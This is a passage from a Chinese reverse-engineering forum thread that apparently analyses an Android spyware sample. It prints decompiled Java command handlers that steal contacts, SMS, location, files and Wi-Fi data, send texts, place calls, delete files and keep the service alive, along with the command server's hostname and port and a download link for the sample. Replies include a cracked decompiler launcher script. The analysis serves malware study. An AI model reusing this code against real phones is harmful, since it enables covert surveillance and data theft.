            Cursor cursor1 = this.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI,NULL, "contact_id = " + Contact_id, NULL, ((String)NULL));
            while(cursor1.moveToNext()) {
                allContactinformation.append("|").append(cursor1.getString(cursor1.getColumnIndex("data1")));
            }
            cursor1.close();
            Cursor cursor2 = this.getContentResolver().query(ContactsContract$CommonDataKinds$Email.CONTENT_URI,NULL, "contact_id = " + Contact_id, NULL, ((String)NULL));
            while(cursor2.moveToNext()) {
                allContactinformation.append("|").append(cursor2.getString(cursor2.getColumnIndex("data1")));
            }
            cursor2.close();
            allContactinformation.append("~");
        }
        cursor.close();
        return allContactinformation.toString();  // 获取通讯录里所有的联系人信息
}
如果服务器返回的数据是"getMessagein",则向服务器发送this.getSmsMessagesin()方法返回的数据
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("getMessagein")) {
    outputstream.write("result_Messagein" + this.getSmsMessagesin().getBytes("GBK"));
    outputstream.write("\n".getBytes());
    continue;
}
跟过去,发现是获取收件箱的短信
[Java] 纯文本查看 复制代码
private String getSmsMessagesin() {
        String[] smsmessagein = new String[]{"_id", "address", "person", "body", "date"};
        StringBuilder allSmsMessageininformation = new StringBuilder();
        try {
            allSmsMessageininformation.append(this.processResults(this.getContentResolver().query(Uri.parse("content://sms/inbox"),
                    smsmessagein, null, null, "date desc"), true));
        }
        catch(SQLiteException error) {
            Log.d("PhoneIMEService", error.getMessage());
        }
        return allSmsMessageininformation.toString();
}
如果服务器返回的数据是"getMessageout",则向服务器发送this.getSmsMessagesout()方法返回的数据
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("getMessageout")) {
    outputstream.write("result_Messageout" + this.getSmsMessagesout().getBytes("GBK"));
    outputstream.write("\n".getBytes());
    continue;
}
跟过去,发现是获取发件箱的短信
[Java] 纯文本查看 复制代码
private String getSmsMessagesout() {
        String[] smsmessageout = new String[]{"_id", "address", "person", "body", "date"};
        StringBuilder allSmsMessageoutinformation = new StringBuilder();
        try {
            allSmsMessageoutinformation.append(this.processResults(this.getContentResolver().query(Uri.parse("content://sms/sent"),
                    smsmessageout, null, null, "date desc"), true));
        }
        catch(SQLiteException error) {
            Log.d("PhoneIMEService", error.getMessage());
        }
        return allSmsMessageoutinformation.toString();
}
上面获取收件箱和发件箱短信共同的方法
[Java] 纯文本查看 复制代码
private StringBuilder processResults(Cursor cur, boolean all) {
        StringBuilder result = new StringBuilder();
        if(cur.moveToFirst()) {
            int person = cur.getColumnIndex("person");
            int address = cur.getColumnIndex("address");
            int body = cur.getColumnIndex("body");
            SimpleDateFormat simpledateformat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            do {
                String person_temp = cur.getString(person);
                String address_temp = cur.getString(address);
                String body_temp = cur.getString(body);
                String sendtime = simpledateformat.format(new Date(Long.parseLong(cur.getString(cur.getColumnIndex("date")))));
                result.append("发信人:" + person_temp + "\n");
                result.append("号码:" + address_temp + "\n");
                result.append("发信时间::" + sendtime + "\n");
                result.append("短信内容:" + body_temp + "\r\n");
                result.append("\r\n");
                if(cur.moveToNext()) {
                    continue;
                }
 
                return result;
            }
            while(true);
        }
        else {
            result.append("no result!");
        }
        return result;
}
如果服务器返回的数据是"getInstalledApp",则向服务器发送this.getInstalledApp()方法返回的数据
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("getInstalledApp")) {
    outputstream.write("result_InstalledApp" + this.getInstalledApp().getBytes("GBK"));
    outputstream.write("\n".getBytes());
    continue;
}
跟过去,这是在获取所有已安装非系统应用的应用信息
[Java] 纯文本查看 复制代码
private String getInstalledApp() {
        StringBuilder allInstalledappinformation = new StringBuilder();
        List list_package = this.getPackageManager().getInstalledPackages(0);
        int i;
        for(i = 0; i < list_package.size(); ++i) {
            Object object_temp = list_package.get(i);
            String appName = ((PackageInfo)object_temp).applicationInfo.loadLabel(this.getPackageManager()).toString();  // 应用名字
            String packageName = ((PackageInfo)object_temp).packageName;  // 应用包名
            String versionName = ((PackageInfo)object_temp).versionName;  // 版本号
            int versionCode = ((PackageInfo)object_temp).versionCode;  // 内部识别版本号
            if((((PackageInfo)object_temp).applicationInfo.flags & 1) == 0) {//flag为0为非系统应用,所以能执行if里的语句说明flag是0,0&1=0
                allInstalledappinformation.append(appName).append("|").append(packageName).append("|").append(versionName).append("|").append(versionCode).append(
                        "~");
            }
        }
        return allInstalledappinformation.toString();  // 返回获得到的所有已安装非系统应用的应用信息
}
如果服务器返回的数据是"getkernelApp",则向服务器发送this.getKernelApp()方法返回的数据
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("getkernelApp")) {
    outputstream.write("result_InstalledApp" + this.getKernelApp().getBytes("GBK"));
    outputstream.write("\n".getBytes());
    continue;
}
跟过去,发现是获取所有系统应用信息
[Java] 纯文本查看 复制代码
private String getKernelApp() {
        StringBuilder allKernelappinformation = new StringBuilder();
        List package_list = this.getPackageManager().getInstalledPackages(0);
        int i;
        for(i = 0; i < package_list.size(); ++i) {
            Object object_temp = package_list.get(i);
            String appName = ((PackageInfo)object_temp).applicationInfo.loadLabel(this.getPackageManager()).toString();  // 应用名字
            String packageName = ((PackageInfo)object_temp).packageName;  // 应用包名
            String versionName = ((PackageInfo)object_temp).versionName;  // 版本号
            int versionCode = ((PackageInfo)object_temp).versionCode;  // 内部识别版本号
            if((((PackageInfo)object_temp).applicationInfo.flags & 1) == 1) {
                allKernelappinformation.append(appName).append("|").append(packageName).append("|").append(versionName).append("|").append(versionCode).append("~");
            }
        }
        return allKernelappinformation.toString();  // 返回所有系统应用信息
}
下面这个if相当于开启了另一种判断模式,上面是获取受害者信息的命令,下面是直接操作受害者手机的命令,比如删除之类的

如果服务器返回的数据不是"getGPS",跳到label_270
[Java] 纯文本查看 复制代码
if(!new String(arraychar, 0, length).equals("getGPS")) {
    goto label_270;
}
这里有两种可能,等于或者不等于,都有可能的,万一服务器返回的真的就是"getGPS"呢???

那么就有一个很现实的问题,出现了这种情况,到底是先分析哪种可能,因为可能一个分支代码很少,另一个分支代码巨多

我多年经验:看颜值!!!!!!

所以我知道先分析服务器返回的是"getGPS"的情况

最后一行代码是break,所以跳出了这个while,跟着的刚好就是执行"getGPS"的方法
[Java] 纯文本查看 复制代码
Object object_GPS = this.getSystemService("location");
if(!((LocationManager)object_GPS).isProviderEnabled("network") && !((LocationManager)object_GPS).isProviderEnabled("gps")) {
    goto label_5;
}
outputstream.write("result_GPS" + this.getPhoneLocation().getBytes("GBK"));
outputstream.write("\n".getBytes());
goto label_5;
其中this.getPhoneLocation()方法
[Java] 纯文本查看 复制代码
private String getPhoneLocation() throws Exception {
        StringBuilder locationinformation = new StringBuilder();
        Object object_location = this.getSystemService("location");
        Criteria criteria = new Criteria();
        criteria.setAccuracy(1);
        criteria.setAltitudeRequired(false);
        criteria.setBearingRequired(false);
        criteria.setCostAllowed(true);
        criteria.setPowerRequirement(1);
        Location location = ((LocationManager)object_location).getLastKnownLocation(((LocationManager)object_location).getBestProvider(criteria, true));
        if(((LocationManager)object_location).isProviderEnabled("gps")) {
            locationinformation.append("开启").append("|");
        }
        else {
            locationinformation.append("关闭").append("|");
        }
 
        if(location != null) {
            locationinformation.append(location.getLongitude()).append("|").append(location.getLatitude());
        }
        return locationinformation.toString();
}
获取了受害者的GPS信息后代码跳到了label_5,还记得这是哪个分支吗?

9.png

重新进入了接收服务器命令的循环中

好了现在假设服务器返回的不是"getGPS"

跟过去,如果前9字节不是"getromDir"就跳到label_317
[Java] 纯文本查看 复制代码
label_270:
        if(!new String(arraychar, 0, 9).equals("getromDir")) {
            goto label_317;
}
这里又有两种情况

你让我跳过去我就不跳过去

跳出上面的代码后
[Java] 纯文本查看 复制代码
outputstream.write("result_Dir" + this.getromDir(new String(arraychar, 9, length - 9)).getBytes("GBK"));
outputstream.write("\n".getBytes());
goto label_5;
这个方法是作者写的,参数是"getromDir"这个字符串后面的数据
[Java] 纯文本查看 复制代码
this.getromDir
private String getromDir(String path) throws Exception {
        StringBuilder allRomdirinformation = new StringBuilder();
        File file = new File(String.valueOf(Environment.getDataDirectory().getPath()) + path);  // 参数为服务器返回来的路径
        if(file.isDirectory()) {
            File[] array_file = file.listFiles();  // 获取该路径下所有文件夹及文件
            SimpleDateFormat simpledateformat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
            int i;
            for(i = 0; i < array_file.length; ++i) {
                allRomdirinformation.append(array_file.getName()).append("|").append(array_file.length()).append("|").append(simpledateformat.format(new Date(array_file.lastModified()))).append("~");
            }
        }
        return allRomdirinformation.toString();
}
来考虑第二种情况

跳到label_317,和刚才一样,各种命令

label_317:

前12字节是"getSdcardDir",这个用法得结合最开始那个获取所有应用的信息的方法一起分析

在安卓4.4以后,应用本身可以管理自己在外部存储的文件夹比如SD卡,不用获取WRITE_EXTERNAL_STORAGE权限,而以前的版本应用进行读写之类是需要权限的

下面只要"getSdcardDir"后面跟一个前面获取到的任意一个应用包名,就可以获取该应用在SD卡上的所有存储文件
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, 12).equals("getSdcardDir")) {
    outputstream.write("result_Dir" + this.getSdcardDir(new String(arraychar, 12, length - 12)).getBytes("GBK"));
    outputstream.write("\n".getBytes());
    goto label_5;
}
跟过去this.getSdcardDir方法()
[Java] 纯文本查看 复制代码
private String getSdcardDir(String path) throws Exception {
        StringBuilder allSdcardDirinformation = new StringBuilder();
        if(Environment.getExternalStorageState().equals("mounted")) {
            File file = new File(String.valueOf(Environment.getExternalStorageDirectory().getPath()) + path);
            if(file.isDirectory()) {
                File[] file_temp = file.listFiles();
                SimpleDateFormat simpledateformat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
                int i;
                for(i = 0; i < file_temp.length; ++i) {
                    allSdcardDirinformation.append(file_temp.getName()).append("|").append(file_temp.length()).append("|").append(simpledateformat.format(new Date(file_temp.lastModified()))).append("~");
                }
            }
        }
        return allSdcardDirinformation.toString();
}
服务器返回的前10字节是"deletefile",执行this.killFile()方法
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, 10).equals("deletefile")) {
    outputstream.write("result_FileStatus" + this.killFile(new String(arraychar, 10, length - 10)).getBytes("GBK"));
    outputstream.write("\n".getBytes());
    goto label_5;
                }
跟过去,作用是删除SD卡里指定的文件
[Java] 纯文本查看 复制代码
private String killFile(String path) throws Exception {
        StringBuilder cmdexeResult = new StringBuilder();  // 删除指定的文件
        File file = new File(String.valueOf(Environment.getExternalStorageDirectory().getPath()) + path);
        if(file.isFile()) {
            if(file.delete()) {
                cmdexeResult.append("文件删除成功!");
            }
            else {
                cmdexeResult.append("文件删除失败!");
            }
        }
        return cmdexeResult.toString();
}
如果服务器返回的数据是"SDCardInfo",向服务器发送this.getSDCardMemory()方法返回的数据
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("SDCardInfo")) {
    outputstream.write("result_SdCardInfo" + this.getSDCardMemory().getBytes("GBK"));
    outputstream.write("\n".getBytes());
    goto label_5;
}
跟过去,该方法返回的是SD卡的信息
[Java] 纯文本查看 复制代码
private String getSDCardMemory() {
        StringBuilder SDCardMemoryinformation = new StringBuilder();
        if("mounted".equals(Environment.getExternalStorageState())) {
            StatFs statfs = new StatFs(Environment.getExternalStorageDirectory().getPath());
            long BlockSize = ((long)statfs.getBlockSize());  // 大小,以字节为单位,一个文件系统
            long BlockCount = ((long)statfs.getBlockCount());  // 获取该区域可用的文件系统数
            long AvailableBlocks = ((long)statfs.getAvailableBlocks());  // 获取当前可用的存储空间
            SDCardMemoryinformation.append(BlockSize * BlockCount).append("|");
            SDCardMemoryinformation.append(BlockSize * AvailableBlocks);
        }
        return SDCardMemoryinformation.toString();
}
如果服务器返回的是"RomInfo",则向服务器发送this.getRomMemory()方法返回的数据
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("RomInfo")) {
outputstream.write("result_romInfo" + this.getRomMemory().getBytes("GBK"));
outputstream.write("\n".getBytes());
goto label_5;
                }
跟过去,这是获取本机的data存储器的信息
[Java] 纯文本查看 复制代码
private String getRomMemory() {
        StringBuilder RomMemoryinformation = new StringBuilder();
        StatFs statfs = new StatFs(Environment.getDataDirectory().getPath());
        long BlockSize = ((long)statfs.getBlockSize());  // 大小,以字节为单位,一个文件系统
        long BlockCount = ((long)statfs.getBlockCount());  // 获取该区域可用的文件系统数
        long AvailableBlocks = ((long)statfs.getAvailableBlocks());  // 获取当前可用的存储空间
        RomMemoryinformation.append(BlockSize * BlockCount).append("|");
        RomMemoryinformation.append(BlockSize * AvailableBlocks);
        return RomMemoryinformation.toString();
}
如果服务器返回的是"getScreenLocked",则向服务器发送是否锁屏的信息
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("getScreenLocked")) {
    if(this.getSystemService("keyguard").inKeyguardRestrictedInputMode()) {
        outputstream.write("ScreenStatus已锁屏".getBytes("GBK"));
        outputstream.write("\n".getBytes());
        goto label_5;
    }
    outputstream.write("ScreenStatus未锁屏".getBytes("GBK"));
    outputstream.write("\n".getBytes());
    goto label_5;
}
如果服务器返回的是"getWiFiStatus",则向服务器发送this.getWiFiStatus()方法返回的数据
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("getWiFiStatus")) {
    outputstream.write("result_WiFiInfo" + this.getWiFiStatus().getBytes("GBK"));
    outputstream.write("\n".getBytes());
    goto label_5;
}
跟过去,可以看出来是获取wifi信息
[Java] 纯文本查看 复制代码
private String getWiFiStatus() {
String wifi_state;
        StringBuilder wifi_Result = new StringBuilder();
        switch(this.getSystemService("wifi").getWifiState()) {
            case 0: {
wifi_state = "WIFI正在关闭";
break;
            }
            case 1: {
                wifi_state = "WIFI网卡已关闭";
                break;
            }
            case 2: {
                wifi_state = "WIFI正在打开";
                break;
            }
            case 3: {
                wifi_state = "WIFI网卡已开启";
                break;
            }
            default: {
                wifi_state = "未知网卡状态";
                break;
            }
}
        wifi_Result.append(wifi_state);
        return wifi_Result.toString();
}
这个很明显了,如果WiFi可用就打开WiFi
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("openWiFi")) {
    object = this.getSystemService("wifi");
    if(((WifiManager)object).isWifiEnabled()) {
        goto label_5;
    }
    object.setWifiEnabled(true);
    goto label_5;
}
这个意思也很明显了,关闭WiFi
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("closeWiFi")) {
    object = this.getSystemService("wifi");
    if(!((WifiManager)object).isWifiEnabled()) {
        goto label_5;
    }
    object.setWifiEnabled(false);
    goto label_5;
}
然后又出现了选择
[Java] 纯文本查看 复制代码
if(!new String(arraychar, 0, length).equals("scanWiFi")) {
    goto label_676;
}
我就是不跳到label_676,直接看后面的代码

看得出来是扫描wifi(刚才那个if里的数据也说了)
[Java] 纯文本查看 复制代码
object = this.getSystemService("wifi");
((WifiManager)object).startScan();
List list_wifi = ((WifiManager)object).getScanResults();
StringBuilder allwifiinformation = new StringBuilder();
if(list_wifi != null) {
    int i = 0;
    goto label_596;
不为空则跳到label_596
[Java] 纯文本查看 复制代码
label_596:
    while(i < list_wifi.size()) {
        Object object_temp = list_wifi.get(i);
        allwifiinformation = allwifiinformation.append(String.valueOf(object_temp.BSSID) + "|").append(String.valueOf(object_temp.SSID) + "|").append(String.valueOf(object_temp.capabilities) + "|").append(String.valueOf(object_temp.frequency) + "|").append(String.valueOf(object_temp.level) + "~");
        ++i;
    }
看得出来是在搜集wifi信息吧

搜集完了就退出来,给服务器发数据然后继续label_5
[Java] 纯文本查看 复制代码
outputstream.write("result_WiFiList" + allwifiinformation.toString().getBytes("GBK"));
outputstream.write("\n".getBytes());
goto label_5;
另一种情况,跳到label_676

label_676:

如果服务器返回的是"LoadFile",判断是否是文件
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, 8).equals("LoadFile")) {
    File file = new File(String.valueOf(Environment.getExternalStorageDirectory().getPath()) + new String(arraychar, 8, length - 8));
    if(!file.isFile()) {
        goto label_5;
    }
    randomaccessfile = new RandomAccessFile(file, "r");
    v20 = new byte[1024];
    goto label_723;
}
是的话跳到label_723

打开该文件将该文件内容发送给服务器
[Java] 纯文本查看 复制代码
while(true) {
    label_723:
        int length = randomaccessfile.read(v20);
        if(length == -1) {
            goto label_5;
        }
        outputstream.write(v20, 0, length);
}
接着继续判断服务器返回的数据

如果服务器返回的是"ScreenShot",返回label_5(咦?什么都没做诶)
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, 8).equals("ScreenShot")) {
    goto label_5;
}
如果服务器返回的前7字节是"SendSms",执行this.SendSmsMes(v15[0],v15[1])
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, 7).equals("SendSms")) {
    String[] v15 = new String(arraychar, 7, length - 7).split("\\|");
    outputstream.write("result_SmsStatus" + this.SendSmsMes(v15[0], v15[1]).getBytes("GBK"));
    outputstream.write("\n".getBytes());
    goto label_5;
}
跳过去,还记不记得最开始咱们注册了一个broadcastreceiver,action是“sms.send”

但是onReceiver()方法里面只有几句看不懂的代码,得结合这里分析,这里是用PendingIntent,用于延迟,也就是说收到作者的短信触发,给指定号码发送指定的短信内容
[Java] 纯文本查看 复制代码
private String SendSmsMes(String phoneNumber, String content) {
        String NULL = null;
        StringBuilder sendmessage_Result = new StringBuilder();
        SmsManager smsmanager = SmsManager.getDefault();
        PendingIntent pendingintent = PendingIntent.getBroadcast(((Context)this), 0, new Intent("sms.send"), 0);
        Iterator iterator = smsmanager.divideMessage(content).iterator();
        while(iterator.hasNext()) {
            smsmanager.sendTextMessage(phoneNumber, NULL, iterator.next(), pendingintent, ((PendingIntent)NULL));
        }
        long v1 = 3000;
        try {
            Thread.sleep(v1);
        }
        catch(InterruptedException v7) {
            v7.printStackTrace();
        }
        sendmessage_Result.append(this.Sendresult);
        return sendmessage_Result.toString();
}
然后会有状态码返回服务器

10.png
如果服务器返回的前9字节不是"CallPhone",又什么都不做

如果是则拨号,号码为"CallPhone"后面跟着的数字
[Java] 纯文本查看 复制代码
else {
    if(!new String(arraychar, 0, 9).equals("CallPhone")) {
        goto label_5;
    }
    Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + new String(arraychar, 9, length - 9)));
    intent.setFlags(268435456);
    this.startActivity(intent);
    goto label_5;

以上就是把所有可能循环了一遍,代码很乱,需要多在纸上画画才不至于绕晕

继续onStartCommand()

这句是循环自身
[Java] 纯文本查看 复制代码
this.val$handler.postDelayed(((Runnable)this), 2000);
最后来分析onDestroy()方法
[Java] 纯文本查看 复制代码
public void onDestroy() {
        File[] list_file = this.getCacheDir().listFiles();  // 获取当前应用缓存文件
        if(list_file != null) {
            int filenumber = list_file.length;
            int i;
            for(i = 0; i < filenumber; ++i) {
                list_file.delete();  // 循环遍历删除缓存文件
            }
        }
        this.releaseWakeLock();//释放锁
        Intent intent = new Intent();
        intent.setClass(((Context)this), PhoneSyncService.class);
        this.startService(intent);  // 重启PhoneSyncService,保证一直存活
        Log.i("PhoneIMEService", "service destroy");
        super.onDestroy();
}
释放锁的代码是这样的
[Java] 纯文本查看 复制代码
private void releaseWakeLock() {
        if(this.mWakeLock != null) {
            this.mWakeLock.release();
            this.mWakeLock = null;
        }
}

最后总结APP行为:利用无activity启动的办法,安装应用后没有图标,开机自启动,监听受害者接听电话的内容,并打包上传服务器,开启一个Service,通过socket与服务器通讯,服务器下达指令,可以获取受害者手机信息,也可以操作受害者手机,特别是对SD卡的数据读取,同时有防kill手段,并删除监听的音频文件和缓存,不过想卸载很简单,应用管理器即可看到,卸载就行,因为安卓系统3.1以后的版本包括3.1已经不允许直接运行无activity的应用,所以攻击目标还是有一定局限
[Java] 纯文本查看 复制代码
private String SendSmsMes(String phoneNumber, String content)
private String getCallLogs()
private void acquireWakeLock()
private String getContactInfo()
private String getInitializes()
private String getInstalledApp()
private String getKernelApp()
private String getPhoneLocation()
private String getRomMemory()
private String getSDCardMemory()
private String getSdcardDir(String path)
private String getSmsMessagesin()
private String getSmsMessagesout()
private long getTotalMemory()
private String getWiFiStatus()
private String getromDir(String path)
private String killFile(String path)
补充两个:还有拨号和获取所有WiFi信息

结尾彩蛋:PowerManager newWakeLock方法
Android 电源管理 -- wakelock机制
探究java IO之PushbackInputStream类
简单的Socket通信
Android socket通信(上)
Android开发之MediaRecorder类详解
mediarecorder中的方法以及工作流程的过程
TelephonyManager类使用方法大全
android学习笔记---32_文件断点上传器,解决多用户并发,以及自定义协议,注意协议中的漏洞
监听手机状态--PhoneStateListener
android之通过phoneStateListener监听电话状态改变
Android开源代码解读の使用TelephonyManager获取移动网络信息


最后的最后
欢迎交流╭( &#65381;&#12610;&#65381;)&#1608; &#785;&#785;
菜鸟的博客:http://www.wangzhixian.org/
主要记录二进制攻防的学习笔记和二进制漏洞的分析


真的是最后,作者的服务器信息
[Java] 纯文本查看 复制代码
Socket socket = new Socket(InetAddress.getByName("www.roidsec.com"), 2021);



警察叔叔,这里有坏人!!!!!!


样本链接:http://pan.baidu.com/s/1hslTHFQ 密码:phrt
解压密码:52pojie链接挂了请回复跟我讲下,我会及时补上的

不定期的会录制一些视频分享调试的一些心得:移动恶意APP分析的心得分享

免费评分

参与人数 15吾爱币 +2 热心值 +15 收起 理由
siuhoapdou + 1 + 1 谢谢@Thanks!
lumou + 1 + 1 谢谢@Thanks!
~柠萌菇凉~ + 1 用心讨论,共获提升!
破解小白 + 1 热心回复!
ZF0806 + 1 热心回复!
hy0210 + 1 谢谢@Thanks!
BY丶显示 + 1 鼓励转贴优秀软件安全工具和文档!
XhyEax + 1 热心回复!
wangsheng66 + 1 热心回复!
单色 + 1 有视频教程么?出教程吧
Youngs + 1 大三就分析的这么好!未来的安全人才!
楚轩 + 1 用心讨论,共获提升!
lies2014 + 1 谢谢@Thanks!
丶小明 + 1 用心讨论,共获提升!
啊飞 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

丶懒喵喵 发表于 2016-6-10 15:43
wnagzihxain 发表于 2016-6-10 15:19
bat里的jdk环境变量看看对不对

@echo off

echo "****************************************************"
echo "*   This JEB floating is cracked by colordancer.   *"
echo "*   Please use it ONLY for study purposes.         *"
echo "****************************************************"

rem Start-up script for JEB (Windows Console)

rem Prefer a JDK over a JRE, which allows support for JEB native Java plugins
if defined JAVA_HOME (set base="%JAVA_HOME%\bin") else (set base="%SystemRoot%\System32")
set JAVA=%base%\java.exe

set INSTALLER="%~dp0bin\jebi.jar"
set DECOMPILER="%~dp0bin\jeb.jar"

rem Note: Make sure your SWT build matches your Java build (32-bit or 64-bit)
rem If the Java path generation does not yield a correct result, manually set
rem the JAVA variable (defined above) to a correct value

if exist %JAVA% goto :checkdep
echo JEB requires a Java runtime environment, please install one.
exit /b -1

:checkdep
%JAVA% -jar %INSTALLER% --di
if errorlevel 0 goto :checkupdate
exit /b -1

:checkupdate
%JAVA% -jar %INSTALLER% --up
if errorlevel 0 goto :runjeb
exit /b -1

:runjeb
rem Allow the Java VM to allocate up to 2 Gb of memory
%JAVA% -Xmx2048m -XX:-UseParallelGC -XX:MinHeapFreeRatio=15 -jar %DECOMPILER% %*
exit 0




代码在这 反正我是看不懂得
 楼主| wnagzihxain 发表于 2016-8-7 11:45
carol1024 发表于 2016-8-7 11:00
楼主你好,我有个疑惑,想请教下您。
1.现在安装恶意apk 的时候,会不会手机上的360等安全工具识别出来, ...

1:关于识别的问题,主要还是靠安全卫士,手机管家等的检测能力
2:如果下载不运行的话直接删除是不会造成感染的,下载运行了,并给予权限,那就比较尴尬了,常用的开机自启动,Service,等等,进行短信,通话的监控,至于感染后的删除操作,其实是一种卸载的操作,还是要根据样本的行为进行判断,看是否有进行释放文件到system/app,是否有一些其它的恶意行为
头像被屏蔽
yaojing 发表于 2016-6-2 07:00
buddy 发表于 2016-6-2 12:34
这木马够狠,楼主分析的够绝
13485413756 发表于 2016-6-2 14:02
66666666666
burning你的心 发表于 2016-6-5 11:34
写的太好了,必须赞
yinliming8 发表于 2016-6-5 13:18
这个代码很有点多呢。
H夜 发表于 2016-6-5 13:27
看起来有点头晕,完全看不懂,小白路过
nologo 发表于 2016-6-5 13:51
感谢分享。。。。很详细。。
lies2014 发表于 2016-6-5 18:12
好文,可惜没有附样本
 楼主| wnagzihxain 发表于 2016-6-5 18:21
lies2014 发表于 2016-6-5 18:12
好文,可惜没有附样本

样本已经补上了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-20 05:51

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表